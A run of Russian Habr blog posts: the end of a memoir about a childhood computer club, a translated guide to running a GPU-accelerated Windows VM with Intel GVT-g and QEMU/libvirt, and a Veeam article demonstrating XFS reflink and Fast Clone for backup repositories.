Потом были попытки дизасемблирования ScreamTracker-а с целью понять, как же он извлекает такой густой звукан из одно-битной пищалки. (Старшие товарищи разъяснили про PWM :) поездка на летнюю школу информатики в Академ городок, где я потом провел всю мою студенческую юность, наша универовская комьютерно-лабораторная тусня, знакомство с Новосибирскими дизайнерами и кино-видео-шаманами, что во многом предопределило круг моих будущих интересов, и много много чего еще.
\* \* \*
--------
Много с тех пор воды утекло. Я перепробовал себя в разных ипостасях так или иначе связанных как с эстетическими так и с техническими практикам. Снимал рекламу, делал интерактивный дизайн, последние 10 лет занимаюсь проектированием и разработкой электроники. Но вот что объединяет все эти мои штудии…
Я встречался со многими людьми, умудренными опытом профессионалами и талантливыми в своем ремесле самоучками. И общаясь с ними я все отчетливее осознавал, насколько важен вот этот непосредственный интерес заложенный в детстве. Насколько он является фундаментальной пружиной, движущим механизмом и, если угодно, подсознательной моделью всех твоих проектов в жизни, если ты реально любишь то, что ты делаешь. Сам принцип того, что человек еще будучи ребенком не принуждается к «обучению» по формальным лекалам, но просто делает то, что ему интересно, без дидактической мишуры и не будучи заложником системы оценок и поощрений, просто копается, разбирается и реализует свои замыслы, сам этот принцип «естественного продолжения исследовательской игры», сдобренный некритической поддержкой равных — вещь предельно фундаментальная и важная для того, чтобы в ребенке не угасла искра познания и естественное желание созидать. Если задуматься, по-сути, это простое условие и есть определяющее для любой творческой самореализации. То, что делает тебя счастливым и, возможно, сделает счастливыми тех пытливых молодых ребят, с которыми ты, когда-нибудь тоже поделишься своим опытом и знаниями.
Многие тратят годы, а кто-то и всю жизнь, чтобы понять, что единственное естественное состояние, делающее тебя счастливым — есть продолжение игры, в самом широком смысле. Игры вырастающей из простого детского любопытства. Мне повезло, у меня были отличные учителя в детстве, которые были настолько круты, что имели талант «не учить» но помогать учиться самому. Поэтому я умею то, что я умею, и не перестаю учиться тому, чего еще не умею. Потому что мне просто нравится сам процесс — узнавать и разбираться. И это делаем меня по-настоящему счастливым.
Собственно, об этом я и хотел вам рассказать в этой сравнительно короткой зарисовке. Опыт этот, как я теперь понимаю, настолько фундаментален и одновременно прост, что он стоит того, чтобы написать о нем на страницах любимого бложика. Тем более что 1е сентября вот только что. И это моя скромная дань моим компьютерным учителям Гопкало Сергею Викторовичу, Стригину Владимиру Леонидовичу, всем остальным преподавателям кружка, а так же веселое приветствие всем тем, кто вышел из стен Бийского Роботрона и, возможно, тоже прочтет эти строки.
Спасибо вам, вы самые клевые!
P.S.: ну и самое важное, это моя дочка, позавчера она пошла в школу :)
*Фото частично мои, частично найдены на просторах Сети. Все права принадлежат их авторам.* | https://habr.com/ru/post/422233/ | null | ru | null |
# Разворачиваем виртуалку с Windows с пробросом виртуальной видеокарты с помощью QEMU и Intel GVT-g
Как заставить Intel GVT-g работать
==================================
Всем привет! Intel предложили отличное решение извечной проблемы: "у меня есть ноутбук на Linux и мне надо запускать Windows с аппаратным ускорением, но у меня нет тяжеленного ноутбука с двумя GPU и жидкостным охлаждением". С помощью архитектуры своих GPU или чего-то ещё им удалось сделать так, что вы можете разбить свой встроенный Intel GPU на два или более GPU.
К сожалению, это отнюдь не так просто… Документация слегка устарела, и некоторые вещи ломаются непонятным образом без очевидной причины. Поэтому в данном посте я расскажу вам, как настроить аппаратно ускоренную виртуальную машину с Windows с крутыми быстрыми драйверами virtio и Intel GVT-g.
Для этого вам понадобится более-менее современный GPU (*Примечание переводчика*: *согласно [официальной документации](https://github.com/intel/gvt-linux/wiki/GVTg_Setup_Guide#22-hardware-requirements), GVT-g поддерживают интегрированные видеокарты, начиная с пятого поколения Intel Core и с четвёртого поколения Xeon*).
Шаг 1: настраиваем ядро
-----------------------
Проверьте, что у вас свежая версия ядра. Похоже, что опции для GVT-g были включены и до версии 4.8, но тогда они точно работали хуже, поэтому я рекомендую использовать последнее доступное ядро. Если вы достаточно оригинальны, чтобы собирать своё ядро, включите [эти опции](https://github.com/intel/gvt-linux/wiki/GVTg_Setup_Guide#32-build-kernel). Также отключите удаление неиспользуемых ksyms, поскольку эта опция [вызывает баг](https://github.com/intel/gvt-linux/issues/57).
Теперь нужно поправить аргументы командной строки ядра. Важные опции таковы:
```
i915.enable_gvt=1 kvm.ignore_msrs=1 intel_iommu=on i915.enable_guc=0
```
Убедитесь, что вы не переопределили `enable_guc=0` чем-то, что включит загрузку GuC, поскольку это приведёт к удручающему крашу драйвера i915. Когда загрузитесь, зайдите в своё рабочее окружение и проверьте наличие директории `/sys/bus/pci/devices/0000:00:02.0/mdev_supported_types/`. Если её не существует, GVT-g не работает. Проверьте логи и/или поплачьте в подушку.
Как вариант решения проблемы можно добавить [эти](https://github.com/intel/gvt-linux/wiki/GVTg_Setup_Guide#321-build-the-initrd-initial-ramdisk) модули в initramfs и удалить оттуда i915.
Для более подробного логирования, можно задать переменной `drm.debug` какое-нибудь значение, например, установка её в значение 0x02 включит сообщения от драйверов.
Шаг 2: создаём виртуального друга
---------------------------------
Внутри `mdev_supported_types` можно найти целый набор директорий. Этот набор определяется количеством вашей графической памяти, каждая поддиректория соответствует некоторому типу виртуального GPU. Файл `description` в ней содержит информацию о памяти и разрешениях, поддерживаемых данным виртульным GPU. Если создание виртуального GPU с большой памятью с помощью вывода UUID в файл `/create` вам выдаёт непонятную ошибку, то у вас есть несколько опций. Сперва стоит зайти в BIOS и добавить видеопамяти, если возможно. Если это не работает, можно остановить ваш DM, переключиться на фреймбуфер, создать нужный vGPU оттуда, а затем вернуться в x11. К сожалению, такой способ приводит ко многим багам и не даёт добиться 60 FPS на моём ноутбуке. Альтернативный вариант состоит в том, чтобы создать vGPU поменьше, и использовать специальную программу для увеличения разрешения (CRU). Таким способом мне удалось добиться 60 FPS и багов и зависаний встретилось гораздо меньше.
Создать vGPU можно такой командой:
```
$ echo ${vGPU_UUID} | sudo tee /sys/bus/pci/devices/0000:00:02.0/mdev_supported_types/${vGPU_TYPE}/create
```
А удалить — такой:
```
$ echo 1 | sudo tee /sys/bus/mdev/devices/${vGPU_UUID}/remove
```
*Примечание переводчика*:
*Сгенерировать UUID для vGPU можно с помощью команды `uuidgen` без аргументов. Переменная ${vGPU\_TYPE} обозначает один из типов, перечисленных в директории `mdev_supported_types`. Также стоит заметить, что vGPU при каждой перезагрузке надо создавать заново, они не сохраняются между запусками ОС.*
Шаг 3: Cortana кричит на вас
----------------------------
На очереди существенно лучше поддерживаемая и существенно более медленная и болезненная вещь — установка Windows 10. Не стоит использовать торренты или неофициальную загрузку, или старую версию Windows, правильная ссылка [здесь](https://www.microsoft.com/en-us/software-download/windows10). Также стоит скачать образ диска с драйверами virtio, разработанными специально для ускорения гостей, [здесь](https://fedorapeople.org/groups/virt/virtio-win/direct-downloads/stable-virtio/virtio-win.iso). Установите `libvirt` и `virt-manager` и запустите `libvirtd`:
```
# systemctl start libvirtd
```
Запустите `virt-manager` и убедитесь, что вы подключились к системной сессии `libvirt`, а не пользовательской:
*Примечание переводчика*:
*Для того, чтобы virt-manager мог подключиться к системной сессии, можно запустить его от имени суперпользователя, но лучше настроить авторизацию, например, как предложено на [Arch Wiki](https://wiki.archlinux.org/index.php/libvirt#Set_up_authentication).*
Как только вы это сделали, можно приступить к созданию виртуальной машины. В диалоге настройки выберите загрузку с локального iso-образа и найдите скачанный образ. Если `virt-manager` не распознал его, как образ Windows 10, выберите её вручную, поскольку это ускорит Windows, так как `virt-manager` в этом случае предоставляет некоторые интерфейсы виртуализации от Microsoft. Создайте образ диска или LVM-раздел и настройте конфигурацию, как вам нужно. Интерфейс настройки перед установкой весьма ограничен, поэтому я обычно начинаю установку и сразу её останавливаю, чтобы полностью настроить всё. Вот некоторые настройки:
*Примечание переводчика*:
*Несмотря на то, что пост о настройке виртуальной машины на ноутбуке, почему-то опущен вопрос насчёт раздачи сети с помощью беспроводного адаптера. Дело в том, что настройки сети по-умолчанию в virt-manager не годятся для беспроводной сети. В этой ситуации может помочь ответ на [этот](https://unix.stackexchange.com/questions/159191/setup-kvm-on-a-wireless-interface-on-a-laptop-machine) вопрос и комментарии к нему. Также автор предлагает использовать BIOS вместо UEFI, вероятно, из-за того, что UEFI требует дополнительной настройки. К тому же, похоже, tianocore ещё не работает с GVT-g, см. [bug 935](https://bugzilla.tianocore.org/show_bug.cgi?id=935). В моём случае, впрочем, ВМ запускалась, но Windows не распознавала монитор, к которому подключена интегральная видеокарта.*
Если вам нужен быстрый доступ к диску или даже способность виртуальной машины сжимать образ диска при удалении файлов виртуальной машины (проброс TRIM, для этого нужно создать образ командой `qemu-img create -f qcow2 -o preallocation=metadata,lazy_refcounts`, полная инструкция [здесь](https://chrisirwin.ca/posts/discard-with-kvm/)), настройте основной диск на использование SCSI. Для виртуальной машины понадобятся драйвера, чтобы Windows поняла этот формат, так что подключите ранее скачанный диск с драйверами virtio для Windows 10. По умолчанию они используют IDE, но вы можете ускорить установку в разы и задействовать меньше легаси-кода, если будете использовать вместо этого для dvd-дисков SCSI. Windows поддерживает это из коробки. Также вы можете:
* Заставить USB-шину использовать USB 3.0
* Добавить каналы spice, spice-webdav и qemu-ga, чтобы работали копирование и вставка и обмен файлами между VM и хостом
* Удалить неиспользуемое виртуальное оборудование
* Переключить эмулируемую видекарту на QXL и переключить дисплей на SPICE, НЕ слушающий сеть (даже loopback) (*Примечание переводчика: иначе ВМ попросту крашится*).
* Переключить тип микросхем на Q35, настройка рядом с настройками BIOS.
* Покормить собаку
Также вы можете начать привыкать к вашему новому другу `virsh edit`. Если запустить его с помощью `sudo -E`, ваши переменные окружения, в частности EDITOR, будут использованы для редактирования, при этом вы будете использовать системную сессию libvirt, а не пользовательскую. В этом файле можно, например, назначить соответствие между физическими и виртуальными процессорами, благодаря чему кэши процессоров более консистентны и планировщик ведёт себя не так странно. Вот пример XML, который вы можете туда поместить:
```
6
```
В этом фрагменте я настраиваю ВМ так, чтобы она видела процессор с тремя физическими ядрами, каждое из которых имеет два гиперпотока. Далее, каждый процессор/гиперпоток прикрепляется к своему гиперпотоку, и это соответствие не меняется. Планировщик Windows знает о гиперпотоках и может их использовать корректно, не считая их отдельными процессорами. Также я включаю некоторые интерфейсы Hyper-V, которые по умолчанию выключены и могут не иметь эффекта. Если вы используете SPICE, можно добавить следующие строки, чтобы отключить сжатие, поскольку внешняя сеть для доступа к ВМ всё равно не используется.
```
```
Теперь можно настроить порядок загрузки и начать установку Windows. Если вы используете `virtio` или SCSI-диск, Windows не найдёт его. Вам понадобится установить драйвер SCSI с диска, который вы подключили, они находятся в директории `virtscsi/amd64`. Всё должно пройти гладко, и Windows должна загрузиться в медленном и убогом не ускоренном режиме. Cortana начнёт кричать на вас, а ваша сеть не будет работать. Прорвитесь через всё это к рабочему столу. Там запустите диспетчер устройств, найдите все неопознанные устройства, и обновите драйвера для них с диска, который вы подключили. Вы получите несколько более быструю Windows.
Шаг 4: Весёлая часть
--------------------
Есть три способа получить ускоренный виртуальный дисплей VM с Windows на экране вашей машины.
* VNC или какой-то другой протокол удалённого доступа (обычно это весьма плохое решение). В этом варианте вам нужно только подключить vGPU и отключить все остальные дисплеи и видеокарты. Также выставьте настройку `display='off'`. Вам не нужна опция `igd-opregion`, показанная позже.
* SPICE (у меня не получилось добиться 30 FPS или выше, но работает общий буфер обмена и передача файлов между VM и хостом).
* Встроенный интерфейс QEMU на GTK+ (общий буфер обмена и передача файлов не работают, но можно добиться 60 FPS с помощью патча).
Что бы вы ни собирались использовать, вам всё равно придётся использовать второй вариант, чтобы установить драйвера для GPU. Встроенные драйвера от Microsoft не очень хорошо работают с GVT-g на момент написания поста, и часто ломаются. До того, как вы подсоедините vGPU к ВМ, желательно скачать [последнюю версию драйвера от Intel](https://downloadcenter.intel.com/)(Судя по всему, [Intel меняет подход к распространению драйверов](https://www.intel.com/content/www/us/en/support/articles/000031572/programs/intel-corporation.html), так что в будущем этот шаг, возможно, будет другим, либо станет вообще не нужным). Теперь убедитесь, что у вас создан vGPU. Откройте `virt-manager` и замените хороший быстрый QXL на медленный Cirrus во избежание конфликтов. Чтобы подключить vGPU к ВМ, нужно открыть `virsh edit` и где-нибудь добавить такой фрагмент:
```
```
```
```
Замечание: Когда я предоставляю XML-фрагмент вроде этого, вам по возможности следует добавить его к текущему, не заменяя ничего.
Проверьте, что вы создали уникальные UUID для всех vGPU, которые вы используете, и что номера слотов не конфликтуют ни с какими из остальных PCI-устройств. Если номер слота находится после Cirrus GPU, виртуальная машина упадёт. Теперь вы можете запустить виртуальную машину. **Нужно установить `virt-viewer`, чтобы увидеть оба дисплея!** Подключиться к ВМ можно с помощью команды
```
$ sudo -E virt-viewer --attach
```
Один из дисплеев будет пустой или не инициализированный, второй — уже знакомый маленький не ускоренный дисплей. Раскройте его и, войдя, установите драйвер для GPU. Если вам повезёт, всё заработает сразу же. В противном случае, надо выключить и снова запустить ВМ (не перезагрузить) с помощью работающего экрана. Теперь самое время открыть терминал и запустить внутри `dmesg -w`. Эта команда выдаст вам некоторую полезную информацию о проблемах и общем ходе работы с использованием vGPU. Например, при загрузке KVM будет жаловаться на заблокированные MSR, затем вы должны получить несколько сообщений о неправильном доступе, когда vGPU инициализируется. Если их слишком много — что-то не так.
Если система загрузилась, можно открыть настройки дисплея и отключить не ускоренный экран. Пустой экран можно скрыть через меню *View* в `virt-viewer`. В принципе, ВМ уже можно использовать, но есть ещё пару вещей, которые можно сделать, чтобы добиться более высокого разрешения и более высокой скорости.
[Утилита CRU](https://www.monitortests.com/forum/Thread-Custom-Resolution-Utility-CRU) весьма полезна. Можете поиграться с ней, и даже если вы наткнётесь на какие-то графические артефакты или даже почти целиком чёрный экран, как получилось у меня, вы можете запустить файл `Restart64.exe`, идущий в комплекте с программой, чтобы перезагрузить графическую подсистему Windows. Лично я использую эту утилиту для использования более высокого разрешения на более скромном vGPU.
Чтобы добиться прекрасных 60 FPS, нужно переключиться на встроенный монитор QEMU на GTK+ без поддержки общего буфера обмена с хостом и подобных плюшек, а также изменить в нём одну строчку и пересобрать QEMU. Также понадобится добавить пачку противных аргументов командной строки в ваш XML. Удалите дисплей SPICE и видеокарту Cirrus и установите атрибут `display` у вашего vGPU в `off` (libvirt не поддерживает дисплей на GTK+ и не позволит загрузиться с `display='on'` без дисплея).
```
```
Масштабирование для HiDPI у монитора QEMU работает из рук вон плохо, поэтому мы его отключим. Также, вам понадобится установить переменную `DISPLAY` в тот номер дисплея, который вы используете. Чтобы дать пользователю, запускающему qemu, права доступа к X серверу, используйте команду:
```
# xhost si:localuser:nobody
```
Если это не сработало, попробуйте `xhost +`, но убедитесь, что вы используете файрвол. Иначе попробуйте более безопасный метод.
При таких ухищрениях вы всё равно не получите выше 30 FPS из-за этого [глупого бага](https://github.com/intel/gvt-linux/issues/35#issuecomment-438149916) в QEMU, если вы не пропатчите его, изменив строку, как указано в комментарии по ссылке. Убедитесь, что вы собрали только QEMU для x86-64, если только вы не собираетесь использовать его на другой платформе. Я прикрепил мой PKGBUILD, который не меняет строчку, а только лишь собирает QEMU для x86\_64 без поддержки сетевого хранилища [здесь](https://blog.bepbep.co/posts/gvt/PKGBUILD).
Если вы потерялись где-то по пути, можете посмотреть мой текущий [XML для libvirt](https://blog.bepbep.co/posts/gvt/win10.xml).
Полезные ссылки
---------------
[Официальный гайд по настройке GVT-g](https://github.com/intel/gvt-linux/wiki/GVTg_Setup_Guide)
[Руководство пользователя по Dma-buf](https://github.com/intel/gvt-linux/wiki/Dma_Buf_User_Guide)
[Статья по настройке Intel GVT-g на NixOS Wiki](https://nixos.wiki/wiki/IGVT-g#Configure_KVM)
[Статья на Arch Wiki про libvirt](https://wiki.archlinux.org/index.php/libvirt)
[Настройка сети в KVM на беспроводном интерфейсе](https://unix.stackexchange.com/questions/159191/setup-kvm-on-a-wireless-interface-on-a-laptop-machine)
[Сайт, посвящённый Intel GVT-g](https://01.org/igvt-g/)
P. S.: Спасибо [aNNiMON](https://habr.com/ru/users/annimon/) за помощь в вычитке текста перевода и исправлении ошибок. | https://habr.com/ru/post/437270/ | null | ru | null |
# XFS, Reflink и Fast Clone. Созданы друг для друга
Как все мы знаем, XFS — это высокопроизводительная журналируемая файловая система, созданная в недрах Silicon Graphics. А высокопроизводительная она потому, что способна справляться с множеством параллельных потоков ввода-вывода. Так что если вам интересна файловая система с легко масштабируемой пропускной способностью и не деградирующая от работы с несколькими устройствами одновременно, то вам, однозначно, сюда. Но сегодня мы будем нахваливать не весь XFS, а один конкретный его флаг — reflink. Он включает возможность переиспользовать одинаковые блоки данных между файлами, обеспечивая дедупликацию и возможность делать быстрые copy-on-write снапшоты.
Грешновато проходить мимо такой увлекательной функциональности, поэтому сегодня мы посмотрим, как reflink может помочь всем ответственным за бекапы, и что на этой ниве нам может предложить Veeam Backup & Replication 10.
Если сильно не вдаваться в подробности, то reflink для XFS был представлен примерно три года назад. Ничего прорывного в этом событии не было, так как своя реализация у Microsoft была аж с 2012 года (под названием ReFS), а в том или ином виде reflink есть в BTRFS и OCFS2. Возможно, даже в большем количестве файловых систем — тут прошу поправить читателей, если незаслуженно кого-то пропустил.
Итак, что же нам, бойцам фронта резервного копирования, с подобных технологий? Конечно же, самое главное — это спасение драгоценного места в наших бекапных репозиториях за счёт встроенного в файловую систему механизма дедуплицирования. Это самый первый и очевидный плюс. Менее очевидный — повышение быстродействия тяжёлых файловых операций. Если наше приложение умеет работать с reflink, то процедура копирования тяжёлого файла может свестись к обновлению метаданных, без необходимости реально перемещать блоки данных. Что, как вы догадываетесь, на порядки быстрее.
В контексте Veeam это позволило многократно (вы даже себе не представляете, насколько) ускорить такую операцию, как Synthetic Full. Создание “синтетики” — это страшный сон вашего хранилища. Наверняка помните, как любят всякие техноблогеры взять и начать мучать условный винчестер тестом на чтение из произвольных мест, злобно потешаясь над упавшим в пол графиком производительности? А создание синтетического бекапа — это не тест, а реальная задача, состоящая из постоянного потока операций чтения и записи из любого места на диске. Если у вас просто упадёт производительность накопителей, это ещё не плохо. Некоторые хранилища могут и просто зависнуть на полуслове.
Соответственно, если нам не надо метаться по всему диску в поисках нужных блоков и копировать их в новое место, а можно просто поправить таблицу метаданных, это даёт невероятный эффект. Поэтому нет ничего странного, что мы в Veeam давно рекомендуем использовать эту возможность, а саму функцию назвали Fast Clone. И, как было уже сказано, изначально Veeam получил поддержку майкрософтовского ReFs. У нас на [форуме](https://forums.veeam.com/veeam-backup-replication-f2/deduplicating-storage-device-t66304.html#p368308) есть отзыв клиента, которому использование ReFS позволило уместить 99 терабайт реальных данных на 15 терабайт занятого места. И это без использования дорогих дедуплицирующих устройств.
И вот теперь настала пора и XFS получить свою толику славы.
### Подготовка
Во-первых, reflink доступен в XFS только в относительно свежих релизах т.к. требует поддержки на уровне ядра. Ваша любимая Ubuntu 16.04 здесь не подойдёт, так что обновляйте до 18.04. Или лучше даже 20.04.
Что ещё? На системе обязательно должна быть включена проверка CRC и очень интересный момент: используемый размер блока данных должен быть в промежутке от 1 KiB до 4 KiB. Технически верхняя граница задаётся размером страниц в памяти (default), хотя можно и больше — до 64KiB, но придётся пересобирать ядро. И многие репортят, что такой конфиг нестабилен. Как сказано в официальном мане — XFS on Linux can only mount filesystems with pagesize or smaller blocks.
Предварительно проверяем, что у нас всё хорошо:
```
toor@ubuntuxfs:~$ sudo lshw -class disk -class storage -short
H/W path Device Class Description
================================================
/0/2 scsi0 storage
/0/2/0.0.0 /dev/sda disk 5368MB Virtual Disk
/0/2/0.0.2 /dev/sdb disk 21GB Virtual Disk
```
А потом создаём нужный раздел командой. Почему именно создаём? Да потому что нельзя включить флаг -reflink на уже созданной файловой системе. Такое вот ограничение от разработчиков.
```
toor@ubuntuxfs:~$ mkfs.xfs -b size=4096 -m reflink=1,crc=1 /dev/sdb
```
И видим примерно такой вывод, где crc=1 и reflink=1, что нам и требуется. Честно говоря, crc=1 выставляется по дефолту, но у нас тут условия лабораторные, так что мы это сделали для наглядности.
```
meta-data=/dev/sdb isize=512 agcount=4, agsize=1310720 blks
= sectsz=4096 attr=2, projid32bit=1
= crc=1 finobt=1, sparse=1, rmapbt=0
= reflink=1
data = bsize=4096 blocks=5242880, imaxpct=25
= sunit=0 swidth=0 blks
naming =version 2 bsize=4096 ascii-ci=0, ftype=1
log =internal log bsize=4096 blocks=2560, version=2
= sectsz=4096 sunit=1 blks, lazy-count=1
realtime =none extsz=4096 blocks=0, rtextents=0
```
Делаем папку для бекапов и монтируем её
```
toor@ubuntuxfs: mkdir /backups
mount /dev/sdb /backups
```
А чтобы окончательно убедиться в том, что всё хорошо, смотрим:
```
toor@ubuntuxfs: df -hT .
Filesystem Type Size Used Avail Use% Mounted on
/dev/sdb xfs 20G 17M 20G 1% /backups
```
### Испытания
Теперь давайте в лабораторных условиях проверим, как работает это хвалёный XFS и его reflink. Для это сгенерируем файл с рандомным содержимым с помощью всеми любимого метода перенаправления вывода из urandom
```
root@ubuntu: dd if=/dev/urandom of=test bs=1M count=10240
10240+0 records in
10240+0 records out
10737418240 bytes (11 GB, 10 GiB) copied, 71.9184 s, 149 MB/s
```
Тут никакого дедуплицирования мы не увидим, так как reflink не используется системой по дефолту. Так что сколько места просили занять, столько и займётся. Что нас сейчас действительно интересует, так это сколько места заняли сами данные, а сколько ушло на метаданные. Проверяем.
```
root@ubuntu:/backups# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sdb 20G 11G 9.9G 51% /backups
```
Ага, на десять гигабайт данных у нас приходится около гигабайта метаданных.
Теперь попробуем скопировать этот файл с принудительным использованием reflink и посмотрим на результат.
```
root@ubuntu: cp -v --reflink=always test test-one
'test' -> 'test-one
```
Проверяем
```
root@ubuntu:/backups# ls -hsl
total 20G
10G -rw-r--r-- 1 root root 10G Jun 17 09:45 test
10G -rw-r--r-- 1 root root 10G Jun 17 10:01 test-one
```
```
root@ubuntu:/backups# df -h
Filesystem Size Used Avail Use% Mounted on
/dev/sdb 20G 11G 9.9G 51% /backups
```
Отлично! У нас два файла по десять гигабайт, вместе занимающие одиннадцать. Слава технологиям! Но помним, что так же, как и в случае с ReFS, это всё не проходит даром и требует определённых издержек. В ReFS один блок можно переиспользовать всего 8175 раз. Также и в XFS. Количество зависит от того, сколько записей о клонах мы можем хранить — это количество записей inodes. А это уже те самые метаданные. Но есть и хорошие новости: этот размер меняется динамически, и теоретический предел XFS гораздо больше, чем в ReFS.
Давайте ещё посмотрим, как данные расположены на диске
```
root@ubuntu:/backups# filefrag -v test test-one
Filesystem type is: 58465342
File size of test is 10737418240 (2621440 blocks of 4096 bytes)
ext: logical_offset: physical_offset: length: expected: flags:
0: 0.. 1048559: 24.. 1048583: 1048560: shared
1: 1048560.. 2097135: 1310733.. 2359308: 1048576: 1048584: shared
2: 2097136.. 2621439: 2624013.. 3148316: 524304: 2359309: last,shared,eof
test: 3 extents found
File size of test-one is 10737418240 (2621440 blocks of 4096 bytes)
ext: logical_offset: physical_offset: length: expected: flags:
0: 0.. 1048559: 24.. 1048583: 1048560: shared
1: 1048560.. 2097135: 1310733.. 2359308: 1048576: 1048584: shared
2: 2097136.. 2621439: 2624013.. 3148316: 524304: 2359309: last,shared,eof
test-one: 3 extents found
```
Как мы видим, оба файла занимают по три экстента, да ещё и расположены они одинаково с точностью до блока. Значит, reflink работает, как мы от него и ожидали.
Теперь переходим к практическим упражнениям с Veeam
### Практика
Велосипед мы изобретать не будем, поэтому совершенно стандартным путём подключим нашу Linux машину в качестве репозитория.
И не забудем выбрать правильный диск
И главное, не забываем галочку **Use Fast Cloning on XFS volumes**. Иначе фокус не получится. И проверьте, что по кнопке Advanced все галочки сняты.
Когда мастер закончит свою работу, можно переходить к созданию бекапов. Как вы помните, в начале я говорил про использование заданий с созданием синтетических точек. Поэтому на шаге Storage не забываем выбрать нужный репозиторий, зайти на вкладку Advanced, выбрать Create Synthetic full backups periodically и выбрать, в какие дни они будут создаваться. Обычно мы всем советуем выбирать выходные, так как операции это сложные, и незачем на буднях лишний раз нагружать ваше хранилище.
Также не будет лишним на вкладке Maintenance включить периодический backup health check. Слишком много мы все слышали печальных историй о повреждении данных на системах вроде ReFS и XFS. Да, подобные механизмы уже встроены в саму файловую систему, но если бы они реально работали, мы бы не читали столько увлекательных рассказов про героическое спасение данных. Практика показала, что если у вас RAID с избыточностью, то вы можете спать более-менее спокойно. Если нет, то всё, на что способны эти системы самопроверки — это сказать “Ой, всё”.
Все остальные пункты стандартные и особого внимания не заслуживают. Когда задание создано и успешно отработает, в день с запланированной синтетикой вы должны увидеть в логе вот такую строчку:
Приписка [fast clone] означает, что была создана не просто синтетическая точка, а именно с использованием Fast Clone [xfs reflink] для всего содержимого бекапа. Бывает ещё вариант [partial fast clone], когда создаётся смешанная цепочка. Да, мы умеем делать синтетику даже на не выравненных фс. Как и в ReFS, Veeam может клонировать блоки только по границам блоков файловой системы. Поэтому блоки данных бэкапных файлов создаются с выравниванием, равным block\_size. Это делается автоматически при создании репозитория и для этого даже есть отдельная галочка в [настройках репозитория](https://helpcenter.veeam.com/docs/backup/hyperv/repository_repository.html?ver=100).
Теперь давайте вернёмся на репозиторий и посмотрим файлы с бекапами. А именно, проверим, из чего состоит последний синтетический .vbk
Вывод реального файла может быть очень большим, поэтому я приведу лишь его начало и конец
```
root@ubuntu:/backups/Agent Linux/192.168.91.226# filefrag -v Agent\ Linux\ -\ 192.168.91.226D2020-06-18T062036_1F09.vbk
Filesystem type is: 58465342
File size of Agent Linux - 192.168.91.226D2020-06-18T062036_1F09.vbk is 2430484480 (593380 blocks of 4096 bytes)
ext: logical_offset: physical_offset: length: expected: flags:
0: 0.. 0: 1777650.. 1777650: 1:
1: 1.. 4360: 2039034.. 2043393: 4360: 1777651:
2: 4361.. 5341: 1315106.. 1316086: 981: 2043394: shared
3: 5342.. 5345: 1986271.. 1986274: 4: 1316087:
4: 5346.. 5348: 1316091.. 1316093: 3: 1986275: shared
5: 5349.. 5570: 1986275.. 1986496: 222: 1316094: shared
6: 5571.. 5603: 1316319.. 1316351: 33: 1986497: shared
7: 5604.. 5781: 1986497.. 1986674: 178: 1316352: shared
8: 5782.. 5800: 1974097.. 1974115: 19: 1986675: shared
9: 5801.. 5872: 1316508.. 1316579: 72: 1974116: shared
....
925: 545910.. 546109: 2534022.. 2534221: 200: 1853810: shared
926: 546110.. 546299: 1776748.. 1776937: 190: 2534222: shared
927: 546300.. 546477: 2534222.. 2534399: 178: 1776938: shared
928: 546478.. 546623: 1854227.. 1854372: 146: 2534400: shared
929: 546624.. 547203: 2534400.. 2534979: 580: 1854373: shared
930: 547204.. 548096: 1855025.. 1855917: 893: 2534980: shared
931: 548097.. 549585: 2534980.. 2536468: 1489: 1855918: shared
932: 549586.. 551487: 1857319.. 1859220: 1902: 2536469: shared
933: 551488.. 551787: 2536469.. 2536768: 300: 1859221: shared
934: 551788.. 553011: 2037808.. 2039031: 1224: 2536769:
935: 553012.. 577866: 1929924.. 1954778: 24855: 2039032: shared
936: 577867.. 578291: 2536769.. 2537193: 425: 1954779: shared
937: 578292.. 592732: 1954913.. 1969353: 14441: 2537194: shared
938: 592733.. 593373: 2537194.. 2537834: 641: 1969354: shared
939: 593374.. 593375: 1777645.. 1777646: 2: 2537835: shared
940: 593376.. 593379: 1969356.. 1969359: 4: 1777647: last,eof
Agent Linux - 192.168.91.226D2020-06-18T062036_1F09.vbk: 941 extents found
```
Как мы видим, он практически весь состоит из переиспользованных shared блоков. Никак не помеченные блоки относятся к последнему инкременту, который создаётся перед созданием фульника.
Но какой именно выигрыш дали нам эти шаред блоки? Смотрим:
```
root@ubuntu:/backups/Agent Linux/192.168.91.226# df -h .
Filesystem Size Used Avail Use% Mounted on
/dev/sdb 20G 3.8G 17G 19% /backups
```
Реально использовано 3,8 Гигабайта. А что же сами файлы?
```
root@ubuntu:/backups/Agent Linux/192.168.91.226# ls -hsl
total 7.2G
56K -rw-rw-rw- 1 root root 54K Jun 18 13:20 'Agent Linux - 192.168.91.226.vbm'
1.8G -rw-r--r-- 1 root root 1.8G Jun 17 13:53 'Agent Linux - 192.168.91.226D2020-06-17T065146_8546.vbk'
63M -rw-r--r-- 1 root root 63M Jun 17 13:57 'Agent Linux - 192.168.91.226D2020-06-17T065727_0228.vib'
317M -rw-r--r-- 1 root root 317M Jun 17 14:03 'Agent Linux - 192.168.91.226D2020-06-17T070240_FD8B.vib'
383M -rw-r--r-- 1 root root 383M Jun 17 14:09 'Agent Linux - 192.168.91.226D2020-06-17T070826_5860.vib'
2.4G -rw-r--r-- 1 root root 2.4G Jun 17 15:04 'Agent Linux - 192.168.91.226D2020-06-18T020624_DF44.vbk'
2.3G -rw-r--r-- 1 root root 2.3G Jun 18 13:20 'Agent Linux - 192.168.91.226D2020-06-18T062036_1F09.vbk'
```
А сами файлы занимают 7,2 Гигабайта. Вот такой вот выигрыш.
На этом задачу показать пользу и выгоду от использования Fast Clone считаю выполненной. Как мы видим, это не только экономия места, хотя сейчас и считается, что проще купить новый сторадж и накидать в него дисков. Это ещё и экономия времени, чтобы попасть в необходимый backup window. Пока скорость обычной синтетики ограничена производительностью дисковой подсистемы, в случае ReFS/XFS это нагрузка больше вычислительная. А с доступностью CPU и RAM ресурсов дела обычно обстоят намного лучше.
И перед тем как распрощаться, позвольте оставить вам несколько полезных ссылок:
[helpcenter.veeam.com/docs/backup/vsphere/backup\_repository\_block\_cloning.html?ver=100](https://helpcenter.veeam.com/docs/backup/vsphere/backup_repository_block_cloning.html?ver=100) Про Fast Clone в документации
[www.veeam.com/kb3150](https://www.veeam.com/kb3150) Fast Clone и Nutanix Mine
[blogs.oracle.com/linux/xfs-data-block-sharing-reflink](https://blogs.oracle.com/linux/xfs-data-block-sharing-reflink) Отличная статья про XFS и Reflink в блоге Oracle | https://habr.com/ru/post/508426/ | null | ru | null |
# Queries in PostgreSQL. Query execution stages
